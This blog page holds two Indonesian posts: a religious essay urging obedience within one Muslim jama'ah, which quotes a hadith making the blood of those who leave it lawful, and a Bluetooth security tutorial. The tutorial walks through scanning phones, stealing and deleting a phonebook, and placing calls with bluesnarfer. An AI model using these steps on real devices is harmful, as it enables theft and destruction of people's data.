22 December 2006

PENTINGNYA JAMA'AH

Pendahuluan


Berjamaah itu sangat dianjurkan, karena dengan berjamaah, umat akan menjadi sangat kuat. Rasulullah bersabda:" يَدُ للَّهَ مَعَلْجَمَعَهِ " (Tangan Allah beserta jama'ah.) Ketika umat Islam bersatu dalam satu jam'ah Islam yang dipimpin oleh seoraang Imam yang dirahmati Allah, maka mereka berhak untuk mendapatkan uluran tangan Allah. Kasih sayang dan pertolongan Allah akan bersama mereka. Kekuatan, kemuliaan, dan kewibawaan yang selama ini dicita-citakan akan bersama mereka pula.

Namun realita yang ada sekarang ini, jamaah muslimin telah hancur dan berkeping-keping jadinya, sejak dijatuhkannya khilafah milik umat Islam pada tahun 1924 yang lalu. Mulai saat itu relatif umat Islam tidak punya jamaah muslimin yang berhimpun di dalamnya seluruh elemen umat Islam, secara resmi dan legitimate. Keadaan sekarang ini ummat Islam penuh dengan kehinaan, tanpa kewibawaan, dan menjadi obyek kezaliman oleh bangsa-bangsa lain.

Begitu banyak kelompok atau jamaah kecil-kecil yang ingin meneruskan kepemimpinan universal umat Islam, sayangnya tidak satu pun yang mampu dan legitimate. Sementara umat Islam sendiri kebanyakannya justru semakin jauh dari agamanya. Tiap wilayah di mana ada umat Islam justru telah dipasang para penguasa buatan penjajah, yang nyaris seluruhnya masih dikomando oleh kekuatan asing. Umat Islam yang jumlahnya satu milyar lebih ini berhasil dikotak-kotak, dibelah-belah, bahkan dibuat satu dengan yang lainnya saling terpisah dalam masing-masing negara.

Ketika ada satu negara Islam diserang oleh musuh, negara Islam lainnya tidak merasa terlalu peduli. Contoh nyata adalah sekarang ini, saat Israel membunuh rakyat Libanon, tidak ada satu pemerintah formal negeri Islam yang peduli. Paling banter hanya mengutuk atau menghiba atau menyayangkan. Dan semua itu tidak ada artinya buat Israel yang memang sudah gila.


Tentu umat Islam tidak rela diperlakukan demikian. Untuk itu demi mencegah kehinaan yang berkepanjangan dan untuk mengembalikan kewibawaan Islam dan umat Islam kita perlu kembali kepada resep yang telah diterapkan untuk umat yang pertama, yakni Qur'an dan Sunnah. Pada saat umat kembali kepada Qur'an dan Sunnah serta hidup secara berjama'ah, maka tidak ada lagi yang mereka takuti kecuali murka Allah. Seluruh amal mereka akan terfokus pada satu arah, yakni untuk mencari ridlo Allah swt. Mereka hidup untuk mendapatkan ridla Allah dan mereka mati untuk mencari ridlo Allah juga. Ancaman tidak diberi hutang tidak menjadikan hati mereka ciut, Allah Sang pemberi rejeki bersama mereka. Ancaman diboikot perdagangan mereka, tidak membuat mereka kecut, Allah tidak akan membiarkan umat yang dicintaiNya mati kelaparan.

Problematika ummat islam kaum muslimin saat ini

Problem internal kaum muslimin :

  1. Saling berpecah-belah

  2. Terlena dengan kenikmatan dunia (penyakit wahn)

  3. Lemah dalam berbagai sektor kehidupan : lemah aqidah, lemah politik, lemah ekonomi, lemah militer, lemah ilmu pengetahuan dan teknologi

  4. Bermental terjajah, minder (inferior), dan beretos kerja buruk


Problem eksternal kaum muslimin :

  1. Menghadapi konspirasi musuh-musuh Islam yang bersatu padu menghadapi Islam

  2. Berada dalam jerat imperialisme dan ketergantungan yang parah terhadap negara-negara kafir.


Short post here

Extended post here

Mengingat kondisi umat Islam sekarang ini, satunya ummat dalam jamaah dinilai sangat penting dan utama. Rasulullah bersabda “Tidak ada Islam kecuali dengan jama’ah, tidak ada jama’ah kecuali dengan kepemimpinan, tidak ada kepemimpinan kecuali dengan bai’at, dan tidak ada bai’at kecuali dengan taat.” Jadi pada hakekatnya, substansi kebersamaan atau jamaah itu terletak pada ketaatan. Kekuatan jamaah itu terletak pada ketaatan umatnya dan kehidupan berjamaah ini akan mengundang pertolongan Allah. Yadullaha ma’al jamaah. Oleh karena itu tidak dibenarkan sama sekali umat untuk tidak taat kepada Imam kecuali dalam bermaksiat kepada Allah.
Ketaatan yang diminta Allah dari umatnya adalah ketaatan yang maksimal. Islam yang dipersyaratkan Allah kepada umatnya adalah islam yang kaffah, bukan setengah-setengah. Ketaatan yang diminta seorang Imam atas umatnya juga ketaatan yang maksimal, ketaatan yang kaffah. Ketaatan yang maksimal akan menghasilkan kekuatan yang maksimal pula. Kalau ada salah satu di antara anggota jamaah tidak bersungguh-sungguh dalam bertaat, maka jamaah itu akan mengalami ”goncangan”. Tidak memiliki daya saing yang prima dan tidak memiliki kekuatan yang maksimal untuk menghadapi pesaing-pesaingnya.

Definisi al-Jamaah

Menurut bahasa, kata jamaah berasal dan al-ijtima' ("berkumpul" atau "bersatu") yang lawan katanya al-firqah ("berpecah belah"). Ibnu Taimiyah menjelaskan, "Al-Jamaah berarti persatuan, sedangkan lawan katanya adalah perpecahan. Dan lafazh al-jamaah telah menjadi nama bagi kaum yang bersatu." (Majmu' Fatawa 3:157)
Namun, jika lafazh jama'ah dirangkaikan dengan as-sunnah menjadi Ahli Sunnah Waljamaah maka yang dimaksud ialah pendahulu umat ini. Mereka adalah para sahabat dan tabi'in yang bersatu mengikuti kebenaran yang jelas dari Kitabullah dan Sunnah Rasul-Nya Shalallahu ‘alaihi wassalam. (Harras, Syarah al-Wasithiyyah, hlm. 16)
Sebagian ulama berbeda pendapat mengenai penjelasan hadis-hadis Nabi yang mewajibkan beriltizam (berpegang-teguh, red) kepada jamaah dan melarang keluar daripadanya. Hadits-hadits tersebut sama sekali tidak bertentangan. Pendapat-pendapat tersebut sebagai berikut:

  1. Sebagian ulama berpendapat bahwa yang dimaksud al-jamaah ialah para sahabat saja, dan bukan orang-orang sesudah generasi mereka. Sebab, para sahabat itulah yang sesungguhnya telah menegakkan tonggak-tonggak ad-dien dan menancapkan paku-pakunya. Dan mereka tidak berhimpun di atas kesesatan. (Lihat Asy-Syathibi, Al-l'thisham 2:262). Pendapat ini diriwayatkan dan Umar bin Abdul Aziz radiyallahu ‘anhu Menurut pendapat ini, lafazh al-jamaah sesuai dengan riwayat lain dalam sebuah hadis Nabi: "...yakni jalan yang aku tempuh dan para sahabatku."

    Kalimat hadits ini menunjuk kepada perkataan, perilaku, dan ijtihad mereka. Dengan demikian, lafazh tersebut menjadi hujjah secara mutlak dengan kesaksian Rasulullah Shalallahu ‘alaihi wassalam, khususnya dengan sabda beliau: "Hendaklah kalian berpegang teguh pada Sunnahku dan Sunnah para Khalifah ar-Rasyidin..."


  2. Ada sementara ulama yang mengartikan al-jamaah itu adalah Ahli Ilmu, Ahli Fikih, dan Ahli Hadis dari kalangan Imam Mujtahidin. Sebab, Allah telah menjadikan mereka hujjah atas manusia dan mereka menjadi panutan dalam urusan ad-dien. (Filthul Bari 13:27). Pendapat ini dari al-Bukhari dalam kitabnya bab Wa Kadzalika Ja’alnakum Ummatan Wasathan (Demikian pula Kami jadikan kamu umat pertengahan) dan perintah Nabi Shalallahu ‘alaihi wassalam untuk beriltizam kepada al-jamaah beliau mengatakan bahwa mereka (al-jamaah) itu adalah Ahli llmu. (Fathul Bari 13:316)

    Menurut Turmudzi, para ahli ilmu menafsirkan al-jamaah dengan ahli fikih, ahli ilmu, ahli hadis. Kemudian beliau membawakan riwayat dari lbnul Mubarak yang memberikan jawaban, "Abu Bakar dan Umar" sewaktu ia ditanya mengenai al-jamaah. (Sunan Turmudzi 4:465) Ibnu Sinan berpendapat, "Mereka (al-jamaah) adalah Ahli ilmu dan orang-orang yang punya atsar. (Syaraf Ashhabul Hadits, hlm. 26-27).

    Berdasarkan pendapat ini, maka al-jamaah adalah Ahli Sunnah yang alim, arif, dan mujtahid. Maka tidaklah termasuk al-jamaah mereka yang ahli bid'ah dan orang-orang awam yang taklid. Sebab, mereka tidak bisa diteladani dan biasanya kaum -yang disebut terakhir ini- hanya mengikuti ulama.


  3. Ada ulama yang mengatakan bahwa al-jamaah ialah jamaah Ahlul Islam yang bersepakat dalam masalah syara'. Mereka tidak lain adalah Ahli ljma yang senantiasa bersepakat dalam suatu masalah atau hukum, baik syara' maupunaqidah. Pendapat ini didasarkan pada hadits Nabi yang artinya: "Umatku tidak bersepakat dalam kesesatan." (al-I'tisham 2:263)
    Ibnu Hajar mengomentari pendapat Bukhari yang mengatakan bahwa mereka (al-jama'ah) adalah Ahli ilmu, sebagai berikut: "Yang dimaksud al-jama'ah ialah Ahlul Hal wal 'Aqdi, yakni mereka yang mempunyai keahlian menetapkan dan memutuskan suatu masalah pada setiap jaman."
    Adapun menurut al-Karmani, "Yang dimaksud perintah untuk beriltizam kepada jamaah ialah beriltizamnya seorang mukallaf dengan mengikuti kesepakatan para mujtahidin. Dan inilah yang dimaksud Bukhari bahwa 'mereka adalah Ahli llmu'." Ayat yang diterjemahkan Bukhari dijadikan hujjah oleh Ahli Ushul karena ijma' adalah hujjah. Sebab, mereka (Ahli llmu) dinilai adil, sebagaimana firman Allah (Al-Baqarah 143); "Dan demikian (pula) Kami telah menjadikan kamu (umat Islam) umat yang adil...."
    Pernyataan ayat ini menunjukkan bahwa mereka terpelihara dari kesalahan mengenai apa yang telah mereka sepakati, baik perkataan maupun perbuatan. (Fathul Bari 13:316). Pendapat ini merujuk kepada pendapat kedua.


  4. Ada ulama yang mengatakan, jama'ah adalah as-Sawadul A'zham (Kelompok Mayoritas). Dalam kitab An-Nihayah disebutkan; "Hendaklah kamu mengikuti as-Sawadul A'zham, yaitu mayoritas manusia yang bersepakat dalam mentaati penguasa dan menempuh jalan yang lurus. (An-Nihayah 2:419).
    Pendapat tersebut diriwayatkan dari Abi Ghalib yang mengatakan, sesungguhnya as-Sawadul A'zham ialah orang-orang yang selamat dari perpecahan. Maka urusan agama yang mereka sepakati itulah kebenaran. Barangsiapa menentang mereka, baik dalam masalah syari'at maupun keimanan, maka ia menentang kebenaran; dan kalau mati, ia mati jahiliah. (Al-I'tisham 2:260).
    Di antara orang lain yang berpendapat demikian ialah Abu Mas'ud al-Anshari dan lbnu Mas'ud radiyallahu ‘anhu. Asy-Syathibi berkomentar, "Berdasarkan pendapat ini, maka yang temasuk al-jamaah ialah para mujtahid, ulama, dan ahli syariah yang mengamalkannya. Adapun orang-orang di luar mereka, maka termasuk ke dalam hukum mereka (di luar jamaah), sebab orang-orang tersebut mengikuti dan meneladani mereka. Maka setiap orang yang keluar dari jamaah mereka, berarti ia telah menyimpang dan menjadi tawanan setan. Yang termasuk kelompok ini ialah semua ahli bid'ah, karena mereka telah menentang para pendahulu umat ini. Sebab itu, mereka sama sekali tidak termasuk as-Sawadul A'zham." (AI-l'tishaita 2:261)
    Ada ulama yang mengatakan bahwa al-jamaah ialah jamaah kaum muslimin yang sepakat atas seorang amir (penguasa). Ini adalah pendapat ath-Thabari yang menyebutkan pendapat-pendapat terdahulu. Kemudian ia mengatakan, "Ya benar pengertian tentang beriltizam kepada jama'ah ialah taat dan bersepakat atas amirnya. Maka barang siapa melanggar bai'atnya, ia telah keluar dari al-jama'ah." (Fathul Bari 13:37). Rasulullah Shalallahu ‘alaihi wassalam telah menyuruh umatnya agar beriltizam kepada pemimpinnya, dan melarang umat mengingkari kesepakatan tentang pemimpin yang lelah diangkatnya. (al-l'tisham 2:264).



Perintah Berjamaah


Selain merupakan qodrat, gharizah dan tabi’atul kaun, hidup berjamaah adalah salah satu ajaran Islam. Ada beberapa dalil naqli yang menjadi dasarnya iaitu firman Allah dan hadis Rasulullah (s.a.w) seperti berikut:

  1. Sesungguhnya Allah menyukai orang-orang yang berperang di jalan Nya dalam barisan yang teratur seakan-akan mereka seperti suatu bangunan yang tersusun kukuh - terjemahan surah as-Shaff (61):4

  2. Dan hendaklah ada di antara kamu segolongan umat yang menyeru kepada kebajikan, menyuruh kepada yang ma’aruf dan mencegah kepada yang munkar, merekalah orang-orang yang beruntung - terjemahan surah Ali Imran (3):104

  3. Dan berpeganglah kamu semuanya kepada tali (agama) Allah dan janganlah kamu bercerai berai - terjemahan surah Ali Imran (3): 103.

  4. Dua lebih baik dari satu, tiga lebih baik dari dua, empat lebih baik dari tiga, wajib atas kamu berjamaah. Sesungguhnya Allah tidak akan mengumpulkan umatku kecuali dalam hidayah - hadis riwayat Ahmad dari Abi Dzar (r.a)

  5. Pertolongan Allah bersama jamaah - hadis riwayat at-Tirmidzi

  6. Hendaklah kalian berjamaah dan janganlah memisahkan diri sesungguhnya syaitan itu bersama-sama orang-orang yang menyendiri, dan syaitan menjauhkan diri dari dua orang. Barangsiapa yang menginginkan tempat di Syurga hendaklah bergabung dengan jamaah. Barangsiapa yang kebaikannya menyenangkannya dan keburukannya menyusahkannya, ia itulah orang mukmin - hadis riwayat at-Tirmidzi dari Ibnu Umar.

  7. Sesungguhnya Allah tidak mengumpulkan umatku dalam kesesatan, pertolongan Allah diberikan kepada jamaah. Barangsiapa yang menyendiri ke Neraka - hadis riwayat at-Tirmidzi dari Ibnu Umar (r.a)

  8. Telah bersabda Rasulullah (s.a.w): Aku memerintahkan kepada kamu dengan lima hal yang Allah telah memerintahkannya kepada ku; hidup berjamaah, mendengar, taat, hijrah dan jihad fi sabilillah. Sesungguhnya barangsiapa yang keluar dari jamaah walau sejengkal, ia telah melepaskan ikatan Islam dari tengkuknya (murtad) sehinggalah ia kembali lagi ke dalam jamaah” - hadis riwayat Imam Ahmad



Orang-orang bertanya kepada Rasulullah (s.a.w) tentang kebaikan sedangkan aku bertanya tentang keburukan kerana khuatir menimpaku. Aku bertanya: Wahai Rasulullah, dulu kami ada pada masa jahiliyyah dan keburukan, kemudian Allah mendatangkan pada kami dengan kebaikan ini. Apakah sesudah kebaikan ini akan ada keburukan? Baginda menjawab: Ya tetapi padanya ada dakhon. Aku bertanya: Apakah dakhon itu? Beliau menjawab: Sekelompok orang yang memberi petunjuk bukan dengan petunjuk dariku, sebagiannya kau akui kebenarannya dan sebagian kau ingkari. Aku bertanya lagi: Apakah setelah kebaikan itu akan ada lagi keburukan? Baginda menjawab: Ya, iaitu para juru dakwah di pintu Jahanam. Barangsiapa yang mengikutinya, ia akan dicampakkan ke dalam Neraka. Aku bertanya: Wahai Rasulullah terangkanlah kepada kami ciri-cirinya. Nabi bersabda: Mereka kulitnya sama dengan kita dan berkata dengan bahasa kita. Aku bertanya: Apa yang kau perintahkan kepada kami jika kami menemui hal itu? Beliau bersabda: Bergabunglah dengan jamaah muslimin dan imamnya. Aku bertanya lagi: Bagaimana jika tidak ada jamaah dan imamnya? Beliau menjawab: Jauhilah oleh kamu semua firqah sekalipun kamu harus memakan akar pepohonan sampai maut menjemputmu dan kau dalam keadaan tetap begitu. Hadis riwayat al-Bukhari dari Hudzaifah (r.a)

Hadis-hadis tersebut menjelaskan kepada kita antara lain, beberapa hal berikut:

  1. Perjalanan sejarah Islam akan mengalami pasang surut, tidak tetap dalam satu keadaan. Ada masa cerah dan ada masa suram.

  2. Kita diwajibkan bergabung dengan jamaah.

  3. Yang disebut jamaah itu memiliki imam atau pemimpin.

  4. Jamaatul Muslimin mestilah bersifat seperti diterangkan di dalam hadis di atas. Jamaah adalah orang-orang yang berpegang teguh kepada apa yang dipegang teguh oleh Nabi Muhammad (s.a.w) dan para sahabatnya iaitu al-Qur’an dan as-sunnah atau mereka ang melaksanakan al-Haq.

  5. Jika tiada jamaah, janganlah bergabung dengan firqah dhalalah iaitu orang yang berpegang kepada kebathilan.



Kewajiban Memelihara Keutuhan Jamaah


Setiap muslim wajib memelihara keutuhan, kekuatan dan soliditas jamaah dalam menghadapi berbagai persoalan, hambatan dan gangguan dengan melakukan langkah-langkah berikut:

  1. Selalu bermusyawarah. Jika dihadapkan kepada sesuatu masaalah, hendaklah tidak terburu-buru mengambil sikap tetapi dimusyawarahkan terlebih dahulu agar ditemukan cara terbaik untuk mengatasinya. Allah memerintahkan: “Dan bagi orang-orang yang menerima (mematuhi) seruan Tuhannya dan mendirikan salat, sedang urusan mereka (diputuskan) dengan musyarawat antara mereka dan mereka menafkahkan sebahagian dari rezeki yang Kami berikan kepada mereka” – Terjemah Surah as-Syura (42): 38
    “Maka, disebabkan Rahmat dari Allah lah kamu berlaku lemah lembut terhadap mereka. Sekiranya kamu bersikap keras lagi berhati kasar, tentulah mereka menjauhkan diri dari sekelilingmu. Kerana itu, maafkanlah mereka, mohon ampun bagi mereka dan bermusyawarahlah dengan mereka dalam urusan itu. Kemudian apabila kamu telah membulatkan tekad, bertawakkallah kepada Allah. Sesungguhnya Allah menyukai orang-orang yang bertawakkal kepada Nya” - terjemahan surah Ali Imran (3): 159

  2. Melakukan tabayyun: Jika menerima berita buruk tentang seseorang tidak segera membuat keputusan sebelum membuat check and recheck atau klasifikasi tentang berita yang diterima itu, tidak membiarkan berita itu menjadi fitnah atau dikembangkan menjadi ghibah, selalu berfikir positif dan tidak dimulai dengan sikap suu-dzan. Allah mengingatkan: “Hai orang-orang yang beriman, jika datang kepada mu orang fasik membawa suatu berita, periksalah dengan teliti agar kamu tidak menimpakan suatu musibah kepada suatu kaum tanpa mengetahui keadaannya yang menyebabkan kamu menyesal atas perbuatanmu itu” -terjemahan surah al-Hujurat (49): 6

  3. Semangat untuk islah, bukan dengan mengembangkan lagi konflik tetapi setiap permasaalahan dihadapi dan disikapi dengan semangat islah. “Sesungguhnya orang-orang mukmin adalah bersaudara kerana itu damaikanlah antara kedua saudaramu dan bertakwalah kepada Allah supaya kamu mendapat Rahmat” - terjemahan surah al-Hujurat 49: 10

  4. Memperbanyakkan silaturrahmi - dengannya banyak permasaalahan boleh dikomunikasikan dengan baik, menjadi benteng pelindung dari ancaman-ancaman luar yang ingin memecah-belahkan serta mengadu domba di antara sesama jamaah. Rasulullah (s.a.w) memerintahkan: “Wahai manusia sebarluaskan salam, bersedekahlah dengan makanan, bersilaturrahim dan shalatlah pada malam hari ketika orang-orang sedang lelap tidur, nescaya engkau akan masuk Syurga dengan selamat” - Hadis riwayat at-Tirmidzi dari Abi Hurairah (r.a)

  5. Saling tolong menolong, ta’awun dalam kebaikan dan ketakwaan, tidak bersikap individualis, hanya mementingkan diri sendiri tanpa peduli kepada orang lain, terutama ketika yang lain sedang di dalam kesulitan dan penderitaan. “Dan tolong menolonglah kamu dalam (mengerjakan) kebaikan dan takwa dan jangan tolong menolong dalam berbuat dosa dan pelanggaran. Dan bertakwalah kamu kepada Allah, sesungguhnya Allah amat berat siksa Nya”- surah al-Maidah (5): 2.
    “Mukmin dengan mukmin itu ibarat sebuah bangunan yang satu sama lain saling mendukung (saling menguatkan)” - hadis riwayat al-Bukhari dari Abi Musa (r.a).
    “Engkau akan melihat orang mukmin itu dalam hal saling menyayangi, mencintai dan melindungi sesama muslim ibarat sebatang tubuh yang jika salah satu anggota tubuhnya sakit, maka seluruh tubuhnya ikut merasakan sakitnya” - hadis riwayat al-Bukhari dari Nu’man bin Basyir (r.a).

  6. Menjauhi perbedaan, terutamanya yang menyangkut masalah ibadah, meskipun ada yang boleh dua atau tiga cara, menjadi baik jika diambil satu cara yang sama. Dalam masalah lainnya, misalnya masaalah penyelenggaraan, pendidikan, menyikapi persoalan politik dan sebagainya, jika perbedaan di antara sesama anggota sukar untuk dihindari, paling tidak, diusahakan untuk diminimalkan perbezaan-perbezaan itu. Walau sekecil mana pun perbezaan, ia tetap akan menganggu keharmonian dan ukhuwah. Nabi Muhammad (s.a.w) ada mengingatkan: “Janganlah kamu berbeza-beza, nanti hati kamu berbeza-beza (berselisih)” - hadis riwayat Muslim dari Ibnu Mas’ud (r.a).


Larangan Memisahkan Diri Dari Jamaah


Ajaran Islam selain memerintahkan untuk iltizam terhadap jamaah juga melarang untuk memisahkan diri atau keluar dari jamaah itu.

  1. ‘Barangsiapa yang mendapatkan dari pimpinannya sesuatu yang ia tidak sukai hendaklah bersabar. Sesungguhnya barangsiapa yang memisahkan diri dari jamaah sejengkal saja, lantas ia mati, ia mati jahiliyah’- Hadis riwayat al-Bukhari dari Ibnu Abas (r.a)

  2. Tidak halal darah seorang yang bersaksi bahawa tiada Tuhan selain Allah dan aku utusan Allah kecuali disebabkan tiga hal. Orang yang meninggalkan Islam (dengan) memisahkan diri dari jamaah, seorang janda/duda (bersuami/isteri) yang berzina dan jiwa di balas dengan jiwa (qisas). Hadis riwayat al-Bukhari dari Ibnu Abas (r.a)



Melihat semua hal tersebut di atas maka sudah seharusnyalah sekarang ini umat Islam menyatukan langkah geraknya dalam satu jamaah (jamaatul muslimin) bukan seperti sekarang ini, ummat terhimpun dalam jamaah-jamaah kecil (jamaatul minal muslimin). Kaum muslimin harus bergerak seiring dibawah satu kepemimpinan, menghadapi musuh-musuh Islam yang juga saling membantu satu sama lain. Tanpa bersatu dibawah satu kepemimpinan, kaum muslimin tidak akan sanggup menghadapi musuh-musuhnya. Allah Ta’ala berfirman, “Dan orang-orang kafir sebagian merupakan pelindung bagi sebagian yang lainnya. Jika kalian tidak melakukan yang seperti itu, maka akan terjadi fitnah di muka bumi dan kerusakan yang besar”. [QS Al-Anfal : 73]

10 October 2006

A Bluetooth [in]Security

Pengantar

Bluetooth adalah salah satu teknologi pengganti kabel yang mengkonsumsi sedikit tenaga listrik, memiliki harga yang relatif murah, berjarak relatif pendek (10-100m), dan dapat digunakan untuk pertukaran data dan suara. Riset tentang teknologi "bluetooth" yang telah dilakukan oleh ericsson(tm) pada tahun 1998 telah memberikan dampak yang cukup besar pada teknologi "pengganti kabel" atau yang lebih sering aku kenal dengan "wireless technology".

Riset ini Kemudian dilanjutkan oleh sebuah grup yang menamakan dirinya Special Interest Group dengan "codename" bluetooth dan telah di dukung oleh banyak perusahaan besar yang berkepentingan dengan teknologi ini. Sehingga pada tahun 1999 dikeluarkanlah versi pertama (bluetooth ver 1.0) dan versi yang sekarang digunakan adalah versi 2.0 (merupakan ver 1.2 ditambah EDR). Teknologi bluetooth sampai saat ini tetap dipakai dan di kembangkan pada kurang lebih 856 produk[3].

Why attacking bluetooth ?

1. Bluetooth dipakai pada peralatan pribadi yang umumnya menyimpan informasi penting yang bersifat pribadi juga dan menjadikannya sebagai target yang berharga bagi penyerang.

2. Untuk menyerang device bluetooh penyerang tidak perlu untuk melewati Lapisan firewall, policy, third party security application, IDS/IPS.

3. Bisa ditemukan dibanyak tempat di karenakan layanan ini di pakai dibanyak "device".

Technical Details

- Menggunakan frekuensi 2,4GHz

- 79 channel, dengan lompatan frekuensi 1600 hops/second

- Menggunakan "single chip radio" sehingga harganya relatif murah

- Memiliki "range" 10-100 Meter

- Menggunakan 2.5 mW

- Memiliki Data Rate 1Mbps

Bluetooth Mode

1. Service mode

a. mode menyala ("on" mode ). Untuk mode "on" terdapat mode "discoverable" dan "un-discoverable", dimana pada saat discoverable "device" akan dapat dan untuk di temukan oleh "device" lain. Sedangkan un-discoverable mode mengakibatkan secara umum tidak dapat di temukan oleh "device" lain.

b. mode tidak menyala ( "off" mode ). Layanan bluetooth mati pada mode ini

c. mode otomatis ( "automatic" mode ). Layanan ini akan memudahkan aplikasi untuk menggunakan layanan bluetooth

2. Security mode

a. Security mode level 1. Tidak ada mode sekuriti sama sekali

b. Security mode level 2. Sekuriti terdapat pada level "service", tetapi pada level "device" tidak ada.

c. Security mode level 3

Sekuriti terdapat pada level "device" dan menerapkan sekuriti pada setiap level yang lebih rendah.
Short post here
Extended post here

Bluetooth Security threat

1. Bluejacking

Teknik ini dilakukan dengan cara mengirimkan pesan/gambar/nomer telpon tanpa ijin kepada target, tujuannya adalah mulai dari perbuatan iseng sampai pada "social engineering" untuk memancing target melakukan pairing kepada "device" penyerang.

2. Bluesnarfing

Teknik ini mengijinkan penyerang untuk terhubung ke "device" milik target tanpa diketahui pemiliknya dan akan mengakibatkan penyerang dapat mengakses data data penting yang tersimpan didalam "device" target seperti daftar nomer telepon (buku telepon), "business card", "images" bahkan IMEI (International Mobile Equipment Identity ) yang dapat mengakibatkan nomer tersebut untuk di "clonning".

3. BlueBugging

Teknik ini mengakibatkan "device" target dan penyerang terhubung secara serial dan mengakibatkan penyerang memiliki kendali penuh terhadap "device" target sehingga penyerang juga dapat mengeksekusi set perintah AT (ASCII Terminal) diantaranya untuk melakukan panggilan, mengirim dan membaca SMS, melakukan koneksi jaringan bahkan internet melalui "device" target sampai kepada "identity theft".

4. BlueSmack

Teknik ini melakukan serangan Denial Of Service terhadap device target, salah satu caranya adalah memanfaatkan perintah l2ping pada protokol L2CAP.

5. Backdoor Attack

Teknik ini adalah dengan memanfaatkan "pairing" yang telah tercipta antara "device" target dan penyerang. Memanfaatkan Kelengahan Target dan Teknik social engineering.

Basic Penetration

Berikut akan contoh penetrasi mendasar terhadap bluetooth sekuriti, dengan harapan akan memberikan pemahaman mendalam tentang ini.

Info

Target : Mobile phone Sony ericsson t68i

Penyerang : Toshiba tecra 8100

Linux Ubuntu 5.10 Operating system

USB bluetooth dongle with Bluez

Tools : Bluesnarfer, Bluez-utils, RedFang

Preparation

Sekarang lakukan checking terhadap bluetooth device (USB dongle) menggunakan hciconfig (packet Bluez)

//--- command ----//

y3dips@hogwartz:~$ hciconfig -a hci0

hci0: Type: USB

BD Address: 00:09:DD:10:4E:B1 ACL MTU: 192:8 SCO MTU: 64:8

UP RUNNING PSCAN ISCAN

RX bytes:394 acl:0 sco:0 events:18 errors:0

TX bytes:319 acl:0 sco:0 commands:17 errors:0

Features: 0xff 0xff 0x0f 0x00 0x00 0x00 0x00 0x00

Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3

Link policy: RSWITCH HOLD SNIFF PARK

Link mode: SLAVE ACCEPT

Name: 'hogwartz-0'

Class: 0x3e0100

Service Classes: Networking, Rendering, Capturing

"device" Class: Computer, Uncategorized

HCI Ver: 1.1 (0x1) HCI Rev: 0x460 LMP Ver: 1.1 (0x1) LMP Subver: 0x460

Manufacturer: Cambridge Silicon Radio (10)

//--- command ----//

didapatkan beberapa informasi penting, diantaranya:

1. Type: USB

2. BD Address: 00:09:DD:10:4E:B1

3. Service Classes: Networking, Rendering, Capturing

Baiklah, ternyata "device" berjalan baik dan dikenali oleh system.

Scanning

Setelah semua persiapan berjalan dengan baik maka selanjutnya adalah menemukan target, untuk mendeteksi layanan bluetooth yang aktif (mode menyala) dan juga "discoverable", aku hanya menggunakan hcitool (paket Bluez)

//--- command ----//

y3dips@hogwartz:~$ hcitool scan

Scanning ...

00:0A:D9:49:B6:8B T68i

00:0C:55:FF:F3:B6 heaven-0

00:D5:F9:33:B6:A4 dodlesvck

00:60:57:44:56:B3 6310i

//--- command ----//

Yupe, ditemukan ada 4 buah "device"yang mengaktifkan layanan bluetoothnya. Putuskan untuk bereksplorasi satu persatu, untuk itu aku putuskan akan melakukan penetrasi sesuai urutan :)

Selanjutnya adalah melakukan perkenalan lebih jauh dengan "device" tersebut, dan untuk ini digunakanlah sdptool (paket bluez) untuk melakukan browsing dan secara spesifik tambahkan options "grep" khusus untuk menemukan service apa saja yang di layani oleh "device" tersebut, "device" akan di kenali dengan alamat bluetooth. Dalam hal ini untuk "device" pertama adalah 00:0A:D9:49:B6:8B

//--- command ----//

y3dips@hogwartz:~$ sdptool browse 00:0A:D9:49:B6:8B | grep Service\ Name

Service Name: Dial-up Networking

Service Name: Fax

Service Name: Voice gateway

Service Name: Serial Port 1

Service Name: Serial Port 2

Service Name: OBEX Object Push

Service Name: IrMC Synchronization

Service Name: Voice gateway

//--- command ----//

Dan kita dapatkan bahwa device tersebut memberikan service Dial-up Networking, Fax, Voice Gateway, Serial Port, OBEX, IrMC.

Untuk melakukan cek hubungan dengan device maka kita dapat melakukan ping.

//--- command ----//

y3dips@hogwartz:~$ sudo l2ping 00:0A:D9:49:B6:8B

Ping: 00:0A:D9:49:B6:8B from 00:09:DD:10:4E:B1 (data size 44) ...

0 bytes from 00:0A:D9:49:B6:8B id 0 time 46.69ms

0 bytes from 00:0A:D9:49:B6:8B id 1 time 31.24ms

0 bytes from 00:0A:D9:49:B6:8B id 2 time 37.95ms

0 bytes from 00:0A:D9:49:B6:8B id 3 time 33.01ms

0 bytes from 00:0A:D9:49:B6:8B id 4 time 48.04ms

5 sent, 5 received, 0% loss

//--- command ----//

Owning

Setelah melakukan Scanning dan mendapatkan alamat target dan informasi mengenai service yang dilayani oleh device tersebut maka selanjutnya kita akan melakukan "snarfing" terhadap bluetooth device (Bluesnarfing).

Salah satu serangan yang mungkin adalah membaca buku telepon dari device dengan menggunakan bluesnarfer.

//--- command ----//

y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -r 1-10

"device" name: T68i

+ 1 - My Sephia /M : 08883535266

+ 3 - Mbah Marijan/W : 021454545

+ 5 - Osama Laden/W : 662224258

+ 7 - Warung Pecel Bu Roso/W : 0214545889

+ 9 - Superman/W : 911

bluesnarfer: release rfcomm ok

//--- command ----//

Selanjutnya kita juga dapat menghapus buku telepon

//--- command ----//

y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -w 1-10

"device" name: T68i

delete of entry 1 successfull

delete of entry 2 successfull

delete of entry 3 successfull

delete of entry 4 successfull

delete of entry 5 successfull

delete of entry 6 successfull

delete of entry 7 successfull

delete of entry 8 successfull

delete of entry 9 successfull

delete of entry 10 successfull

bluesnarfer: release rfcomm ok

memeriksa apakah sudah terhapus

y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -r 1-10

"device" name: T68i

bluesnarfer: release rfcomm ok

//--- command ----//

Selain itu aku akan mencoba melakukan Bluebugging dengan cara mengeksekusi perintah AT, dalam hal ini ATD (melakukan panggilan)

//--- command ----//

y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -c 'ATD555;'

"device" name: T68i

custum cmd selected, raw output

OK

bluesnarfer: release rfcomm ok

y3dips@hogwartz:~/Desktop/bluetooth/pentest/snarf$

//--- command ----//

